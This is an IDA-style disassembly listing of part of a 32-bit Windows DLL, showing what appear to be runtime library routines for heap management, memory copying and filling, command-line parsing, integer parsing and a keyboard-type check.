loc_1000203C:				; CODE XREF: sub_10002004+17j
					; sub_10002004+20j
		xor	ecx, ecx
		push	ebp
		push	offset loc_10002196
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_1000A035, 0
		jz	short loc_1000205D
		push	offset dword_1000A5B4
		call	sub_100010E4	; RtlEnterCriticalSection


loc_1000205D:				; CODE XREF: sub_10002004+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_10002078
		mov	ds:dword_1000A5B0, 9
		jmp	loc_1000216D
; ---------------------------------------------------------------------------


loc_10002078:				; CODE XREF: sub_10002004+63j
		dec	ds:dword_1000A59C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_1000A5A0, eax
		test	bl, 1
		jz	short loc_100020D8
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
		jl	short loc_100020A8
		test	edx, 80000003h
		jz	short loc_100020B7


loc_100020A8:				; CODE XREF: sub_10002004+9Aj
		mov	ds:dword_1000A5B0, 0Ah
		jmp	loc_1000216D
; ---------------------------------------------------------------------------


loc_100020B7:				; CODE XREF: sub_10002004+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_100020CF
		mov	ds:dword_1000A5B0, 0Ah
		jmp	loc_1000216D
; ---------------------------------------------------------------------------


loc_100020CF:				; CODE XREF: sub_10002004+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_1000192C


loc_100020D8:				; CODE XREF: sub_10002004+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, ds:dword_1000A608
		jnz	short loc_10002118
		sub	ds:dword_1000A608, ebx
		add	ds:dword_1000A604, ebx
		cmp	ds:dword_1000A604, 3C00h
		jle	short loc_10002109
		call	sub_10001C1C


loc_10002109:				; CODE XREF: sub_10002004+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_10002C1C
		jmp	loc_1000219D
; ---------------------------------------------------------------------------


loc_10002118:				; CODE XREF: sub_10002004+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_1000213B
		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_10002136
		mov	ds:dword_1000A5B0, 0Bh
		jmp	short loc_1000216D
; ---------------------------------------------------------------------------


loc_10002136:				; CODE XREF: sub_10002004+124j
		or	dword ptr [eax], 1
		jmp	short loc_10002164
; ---------------------------------------------------------------------------


loc_1000213B:				; CODE XREF: sub_10002004+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_1000214E
		cmp	dword ptr [eax], 0
		jz	short loc_1000214E
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_1000215A


loc_1000214E:				; CODE XREF: sub_10002004+13Dj
					; sub_10002004+142j
		mov	ds:dword_1000A5B0, 0Bh
		jmp	short loc_1000216D
; ---------------------------------------------------------------------------


loc_1000215A:				; CODE XREF: sub_10002004+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_1000192C


loc_10002164:				; CODE XREF: sub_10002004+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_10001B94


loc_1000216D:				; CODE XREF: sub_10002004+6Fj
					; sub_10002004+AEj ...
		mov	eax, ds:dword_1000A5B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000219D


loc_10002182:				; CODE XREF: sub_10002004+197j
		cmp	ds:byte_1000A035, 0
		jz	short locret_10002195
		push	offset dword_1000A5B4
		call	sub_100010EC	; RtlLeaveCriticalSection

locret_10002195:			; CODE XREF: sub_10002004+185j
		retn
; ---------------------------------------------------------------------------


loc_10002196:				; DATA XREF: sub_10002004+3Bo
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10002182
; ---------------------------------------------------------------------------


loc_1000219D:				; CODE XREF: sub_10002004+33j
					; sub_10002004+10Fj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_10002004	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100021A8	proc near		; CODE XREF: sub_10002384+4Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_100021C1
		mov	esi, 0Ch


loc_100021C1:				; CODE XREF: sub_100021A8+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jnz	short loc_100021E0
		mov	al, 1
		jmp	loc_1000237B
; ---------------------------------------------------------------------------


loc_100021E0:				; CODE XREF: sub_100021A8+2Fj
		cmp	edi, esi
		jle	loc_1000226B
		mov	edx, edi
		sub	edx, esi
		mov	[esp+18h+var_18], edx
		cmp	ebx, ds:dword_1000A608
		jnz	short loc_1000222F
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_1000A608, eax
		mov	eax, [esp+18h+var_18]
		add	ds:dword_1000A604, eax
		cmp	ds:dword_1000A604, 0Ch
		jge	loc_10002362
		mov	eax, [esp+18h+var_18]
		add	ds:dword_1000A608, eax
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_1000A604, eax
		mov	esi, edi
		jmp	loc_10002362
; ---------------------------------------------------------------------------


loc_1000222F:				; CODE XREF: sub_100021A8+4Dj
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_10002243
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+18h+var_18], edx
		call	sub_1000192C


loc_10002243:				; CODE XREF: sub_100021A8+8Cj
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_10002264
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+18h+var_18]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_100019F0
		jmp	loc_10002362
; ---------------------------------------------------------------------------


loc_10002264:				; CODE XREF: sub_100021A8+9Fj
		mov	esi, edi
		jmp	loc_10002362
; ---------------------------------------------------------------------------


loc_1000226B:				; CODE XREF: sub_100021A8+3Aj
					; sub_100021A8+1B1j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+18h+var_14], eax
		cmp	ebx, ds:dword_1000A608
		jnz	short loc_100022E2
		mov	eax, ds:dword_1000A604
		cmp	eax, [esp+18h+var_14]
		jl	short loc_100022D9
		mov	eax, [esp+18h+var_14]
		sub	ds:dword_1000A604, eax
		mov	eax, [esp+18h+var_14]
		add	ds:dword_1000A608, eax
		cmp	ds:dword_1000A604, 0Ch
		jge	short loc_100022BB
		mov	eax, ds:dword_1000A604
		add	ds:dword_1000A608, eax
		add	esi, ds:dword_1000A604
		xor	eax, eax
		mov	ds:dword_1000A604, eax


loc_100022BB:				; CODE XREF: sub_100021A8+F9j
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_1000A5A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_1000237B
; ---------------------------------------------------------------------------


loc_100022D9:				; CODE XREF: sub_100021A8+DCj
		call	sub_10001C1C
		mov	ebx, ebp
		add	ebx, edi


loc_100022E2:				; CODE XREF: sub_100021A8+D1j
		test	byte ptr [ebx],	2
		jnz	short loc_10002334
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+18h+var_18], ecx
		mov	ecx, [esp+18h+var_18]
		cmp	ecx, [esp+18h+var_14]
		jge	short loc_10002308
		add	edx, [esp+18h+var_18]
		mov	ebx, edx
		mov	eax, [esp+18h+var_18]
		sub	[esp+18h+var_14], eax
		jmp	short loc_10002334
; ---------------------------------------------------------------------------


loc_10002308:				; CODE XREF: sub_100021A8+150j
		call	sub_1000192C
		mov	eax, [esp+18h+var_14]
		sub	[esp+18h+var_18], eax
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_10002328
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+18h+var_18]
		call	sub_10001B94
		jmp	short loc_10002362
; ---------------------------------------------------------------------------


loc_10002328:				; CODE XREF: sub_100021A8+170j
		add	esi, [esp+18h+var_18]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_10002362
; ---------------------------------------------------------------------------


loc_10002334:				; CODE XREF: sub_100021A8+13Dj
					; sub_100021A8+15Ej
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_1000235E
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		call	sub_10001D20
		test	al, al
		jz	short loc_1000235E
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_1000226B
; ---------------------------------------------------------------------------


loc_1000235E:				; CODE XREF: sub_100021A8+193j
					; sub_100021A8+1ABj
		xor	eax, eax
		jmp	short loc_1000237B
; ---------------------------------------------------------------------------


loc_10002362:				; CODE XREF: sub_100021A8+68j
					; sub_100021A8+82j ...
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_1000A5A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1


loc_1000237B:				; CODE XREF: sub_100021A8+33j
					; sub_100021A8+12Cj ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100021A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002384	proc near		; CODE XREF: sub_10002488+Dp
					; DATA XREF: DATA:off_1000802Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_1000A5AC, 0
		jnz	short loc_100023AB
		call	sub_10001788
		test	al, al
		jnz	short loc_100023AB
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_1000243C
; ---------------------------------------------------------------------------


loc_100023AB:				; CODE XREF: sub_10002384+12j
					; sub_10002384+1Bj
		xor	edx, edx
		push	ebp
		push	offset loc_10002435
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_1000A035, 0
		jz	short loc_100023CC
		push	offset dword_1000A5B4
		call	sub_100010E4	; RtlEnterCriticalSection


loc_100023CC:				; CODE XREF: sub_10002384+3Cj
		mov	edx, esi
		mov	eax, ebx
		call	sub_100021A8
		test	al, al
		jz	short loc_100023DE
		mov	[ebp+var_4], ebx
		jmp	short loc_10002414
; ---------------------------------------------------------------------------


loc_100023DE:				; CODE XREF: sub_10002384+53j
		mov	eax, esi
		call	sub_10001E74
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_100023FC
		mov	eax, esi


loc_100023FC:				; CODE XREF: sub_10002384+74j
		test	edi, edi
		jz	short loc_10002411
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_1000254C
		mov	eax, ebx
		call	sub_10002004


loc_10002411:				; CODE XREF: sub_10002384+7Aj
		mov	[ebp+var_4], edi


loc_10002414:				; CODE XREF: sub_10002384+58j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000243C


loc_10002421:				; CODE XREF: sub_10002384+B6j
		cmp	ds:byte_1000A035, 0
		jz	short locret_10002434
		push	offset dword_1000A5B4
		call	sub_100010EC	; RtlLeaveCriticalSection

locret_10002434:			; CODE XREF: sub_10002384+A4j
		retn
; ---------------------------------------------------------------------------


loc_10002435:				; DATA XREF: sub_10002384+2Ao
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10002421
; ---------------------------------------------------------------------------


loc_1000243C:				; CODE XREF: sub_10002384+22j
					; DATA XREF: sub_10002384+98o
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_10002384	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002448	proc near		; CODE XREF: sub_1000315C+Cp
					; sub_10003DA8+Cp ...
		push	ebx
		test	eax, eax
		jle	short loc_10002462
		call	ds:off_10008024
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10002464
		mov	al, 1
		call	sub_10002530
; ---------------------------------------------------------------------------
		jmp	short loc_10002464
; ---------------------------------------------------------------------------


loc_10002462:				; CODE XREF: sub_10002448+3j
		xor	ebx, ebx


loc_10002464:				; CODE XREF: sub_10002448+Fj
					; sub_10002448+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002448	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002468	proc near		; CODE XREF: sub_100030C4+1Cp
					; sub_100030E8+21p ...
		push	ebx
		test	eax, eax
		jz	short loc_10002482
		call	ds:off_10008028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10002484
		mov	al, 2
		call	sub_10002530
; ---------------------------------------------------------------------------
		jmp	short loc_10002484
; ---------------------------------------------------------------------------


loc_10002482:				; CODE XREF: sub_10002468+3j
		xor	ebx, ebx


loc_10002484:				; CODE XREF: sub_10002468+Fj
					; sub_10002468+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002468	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002488	proc near		; CODE XREF: sub_10003280+22p
					; sub_10003E38+B9p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_100024C0
		test	edx, edx
		jz	short loc_100024AA
		push	eax
		mov	eax, ecx
		call	ds:off_1000802C
		pop	ecx
		or	eax, eax
		jz	short loc_100024B9
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_100024A3:				; CODE XREF: sub_10002488+2Ej
		mov	al, 2
		jmp	sub_10002530
; ---------------------------------------------------------------------------


loc_100024AA:				; CODE XREF: sub_10002488+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_10008028
		or	eax, eax
		jnz	short loc_100024A3
		retn
; ---------------------------------------------------------------------------


loc_100024B9:				; CODE XREF: sub_10002488+16j
					; sub_10002488+48j
		mov	al, 1
		jmp	sub_10002530
; ---------------------------------------------------------------------------


loc_100024C0:				; CODE XREF: sub_10002488+4j
		test	edx, edx
		jz	short locret_100024D4
		push	eax
		mov	eax, edx
		call	ds:off_10008024
		pop	ecx
		or	eax, eax
		jz	short loc_100024B9
		mov	[ecx], eax

locret_100024D4:			; CODE XREF: sub_10002488+3Aj
		retn
sub_10002488	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100024D8	proc near		; CODE XREF: sub_100024E4+42p
					; CODE:10002CCBp
		mov	ds:dword_10008004, edx
		call	sub_100030AC
sub_100024D8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100024E4	proc near		; CODE XREF: sub_10002530+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_1000A008, 0
		jz	short loc_10002500
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_1000A008


loc_10002500:				; CODE XREF: sub_100024E4+10j
		test	bl, bl
		jnz	short loc_10002511
		call	sub_10003628
		mov	ebx, [eax+4]
		jmp	short loc_10002520
; ---------------------------------------------------------------------------


loc_10002511:				; CODE XREF: sub_100024E4+1Ej
		cmp	bl, 18h
		ja	short loc_10002520
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_10008030[eax]


loc_10002520:				; CODE XREF: sub_100024E4+2Bj
					; sub_100024E4+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_100024D8
sub_100024E4	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10002530	proc near		; CODE XREF: sub_10002448+13p
					; sub_10002468+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_100024E4
sub_10002530	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_1000253C	proc near		; CODE XREF: sub_100026E4+38p
					; sub_100026E4+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_10003628
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_1000253C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000254C	proc near		; CODE XREF: sub_10002384+81p
					; sub_10003118+1Bp ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_1000256B
		jz	short loc_10002589
		sar	ecx, 2
		js	short loc_10002589
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_1000256B:				; CODE XREF: sub_1000254C+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_10002589
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_10002589:				; CODE XREF: sub_1000254C+Cj
					; sub_1000254C+11j ...
		pop	edi
		pop	esi
		retn
sub_1000254C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000258C	proc near		; CODE XREF: sub_10002678+41p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_1000259E
; ---------------------------------------------------------------------------


loc_10002596:				; CODE XREF: sub_1000258C+1Aj
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax


loc_1000259E:				; CODE XREF: sub_1000258C+8j
					; sub_1000258C+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_100025A8
		cmp	al, 20h
		jbe	short loc_10002596


loc_100025A8:				; CODE XREF: sub_1000258C+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_100025B8
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_100025B8
		add	ebx, 2
		jmp	short loc_1000259E
; ---------------------------------------------------------------------------


loc_100025B8:				; CODE XREF: sub_1000258C+1Fj
					; sub_1000258C+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_10002601
; ---------------------------------------------------------------------------


loc_100025BE:				; CODE XREF: sub_1000258C+79j
		cmp	al, 22h
		jnz	short loc_100025F3
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_100025DA
; ---------------------------------------------------------------------------


loc_100025CC:				; CODE XREF: sub_1000258C+56j
		push	ebx
		call	sub_10001028	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_100025DA:				; CODE XREF: sub_1000258C+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_100025E4
		cmp	al, 22h
		jnz	short loc_100025CC


loc_100025E4:				; CODE XREF: sub_1000258C+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_10002601
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_10002601
; ---------------------------------------------------------------------------


loc_100025F3:				; CODE XREF: sub_1000258C+34j
		push	ebx
		call	sub_10001028	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_10002601:				; CODE XREF: sub_1000258C+30j
					; sub_1000258C+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_100025BE
		mov	eax, esi
		mov	edx, ebp
		call	sub_10003280
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_10002669
; ---------------------------------------------------------------------------


loc_10002618:				; CODE XREF: sub_1000258C+E1j
		cmp	al, 22h
		jnz	short loc_10002654
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_1000263B
; ---------------------------------------------------------------------------


loc_10002626:				; CODE XREF: sub_1000258C+B7j
		push	ebx
		call	sub_10001028	; CharNextA
		cmp	eax, ebx
		jbe	short loc_1000263B


loc_10002630:				; CODE XREF: sub_1000258C+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_10002630


loc_1000263B:				; CODE XREF: sub_1000258C+98j
					; sub_1000258C+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_10002645
		cmp	al, 22h
		jnz	short loc_10002626


loc_10002645:				; CODE XREF: sub_1000258C+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_10002669
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_10002669
; ---------------------------------------------------------------------------


loc_10002654:				; CODE XREF: sub_1000258C+8Ej
		push	ebx
		call	sub_10001028	; CharNextA
		cmp	eax, ebx
		jbe	short loc_10002669


loc_1000265E:				; CODE XREF: sub_1000258C+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_1000265E


loc_10002669:				; CODE XREF: sub_1000258C+8Aj
					; sub_1000258C+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_10002618
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000258C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002678	proc near		; CODE XREF: sub_100072F4+177p

var_114		= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_100030C4
		test	esi, esi
		jnz	short loc_100026AE
		push	105h
		lea	eax, [esp+118h+var_114]
		push	eax
		push	0
		call	sub_10001058	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_10003188
		jmp	short loc_100026CC
; ---------------------------------------------------------------------------


loc_100026AE:				; CODE XREF: sub_10002678+16j
		call	sub_10001048	; GetCommandLineA
		mov	edi, eax


loc_100026B5:				; CODE XREF: sub_10002678+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_1000258C
		mov	edi, eax
		test	esi, esi
		jz	short loc_100026CC
		cmp	dword ptr [ebx], 0
		jz	short loc_100026CC
		dec	esi
		jmp	short loc_100026B5
; ---------------------------------------------------------------------------


loc_100026CC:				; CODE XREF: sub_10002678+34j
					; sub_10002678+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002678	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100026D8	proc near		; CODE XREF: sub_100037E0+28p

var_8		= qword	ptr -8

		sub	esp, 8
		fistp	[esp+8+var_8]
		wait
		pop	eax
		pop	edx
		retn
sub_100026D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100026E4	proc near		; CODE XREF: CODE:10003472p
					; CODE:1000347Cp ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_10002723
		cmp	ax, 0D7B3h
		ja	short loc_10002723
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_1000270B
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_1000270B:				; CODE XREF: sub_100026E4+1Ej
		test	esi, esi
		jnz	short loc_10002716
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_10002716:				; CODE XREF: sub_100026E4+29j
		test	esi, esi
		jz	short loc_10002735
		mov	eax, esi
		call	sub_1000253C
		jmp	short loc_10002735
; ---------------------------------------------------------------------------


loc_10002723:				; CODE XREF: sub_100026E4+Ej
					; sub_100026E4+14j
		cmp	ebx, offset dword_1000A038
		jz	short loc_10002735
		mov	eax, 67h
		call	sub_1000253C


loc_10002735:				; CODE XREF: sub_100026E4+34j
					; sub_100026E4+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_100026E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000273C	proc near		; CODE XREF: sub_10003798+2p
					; sub_10003DA8+1Cp ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_10002759
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_10002759:				; CODE XREF: sub_1000273C+12j
		pop	edi
		retn
sub_1000273C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000275C	proc near		; CODE XREF: sub_100033E0+41p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_100027D2
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_1000276F:				; CODE XREF: sub_1000275C+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_1000276F
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_100027E0
		cmp	bl, 2Bh
		jz	short loc_100027E2


loc_10002783:				; CODE XREF: sub_1000275C+89j
		cmp	bl, 24h
		jz	short loc_100027E7
		cmp	bl, 78h
		jz	short loc_100027E7
		cmp	bl, 58h
		jz	short loc_100027E7
		cmp	bl, 30h
		jnz	short loc_100027AA
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_100027E7
		cmp	bl, 58h
		jz	short loc_100027E7
		test	bl, bl
		jz	short loc_100027C8
		jmp	short loc_100027AE
; ---------------------------------------------------------------------------


loc_100027AA:				; CODE XREF: sub_1000275C+39j
		test	bl, bl
		jz	short loc_100027DB


loc_100027AE:				; CODE XREF: sub_1000275C+4Cj
					; sub_1000275C+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_100027DB
		cmp	eax, edi
		ja	short loc_100027DB
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_100027AE


loc_100027C8:				; CODE XREF: sub_1000275C+4Aj
		dec	ch
		jz	short loc_100027D5
		test	eax, eax
		jge	short loc_10002824
		jmp	short loc_100027DB
; ---------------------------------------------------------------------------


loc_100027D2:				; CODE XREF: sub_1000275C+8j
					; sub_1000275C+95j
		inc	esi
		jmp	short loc_100027DB
; ---------------------------------------------------------------------------


loc_100027D5:				; CODE XREF: sub_1000275C+6Ej
		neg	eax
		jle	short loc_10002824
		js	short loc_10002824


loc_100027DB:				; CODE XREF: sub_1000275C+50j
					; sub_1000275C+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_10002827
; ---------------------------------------------------------------------------


loc_100027E0:				; CODE XREF: sub_1000275C+20j
		inc	ch


loc_100027E2:				; CODE XREF: sub_1000275C+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_10002783
; ---------------------------------------------------------------------------


loc_100027E7:				; CODE XREF: sub_1000275C+2Aj
					; sub_1000275C+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_100027D2


loc_100027F3:				; CODE XREF: sub_1000275C+C0j
		cmp	bl, 61h
		jb	short loc_100027FB
		sub	bl, 20h


loc_100027FB:				; CODE XREF: sub_1000275C+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_1000280E
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_100027DB
		add	bl, 0Ah


loc_1000280E:				; CODE XREF: sub_1000275C+A5j
		cmp	eax, edi
		ja	short loc_100027DB
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_100027F3
		dec	ch
		jnz	short loc_10002824
		neg	eax


loc_10002824:				; CODE XREF: sub_1000275C+72j
					; sub_1000275C+7Bj ...
		pop	ecx
		xor	esi, esi


loc_10002827:				; CODE XREF: sub_1000275C+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000275C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10002830	proc near		; CODE XREF: sub_10002838+5p
					; sub_10002838+11p
		jmp	ds:dword_1000B0E8
sub_10002830	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002838	proc near		; CODE XREF: CODE:100034FEp
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_10002830	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_10002863
		push	1
		call	sub_10002830	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_10002861
		cmp	eax, 400h
		jnz	short loc_10002863


loc_10002861:				; CODE XREF: sub_10002838+20j
		mov	bl, 1


loc_10002863:				; CODE XREF: sub_10002838+Dj
					; sub_10002838+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002838	endp

; ---------------------------------------------------------------------------
		align 4

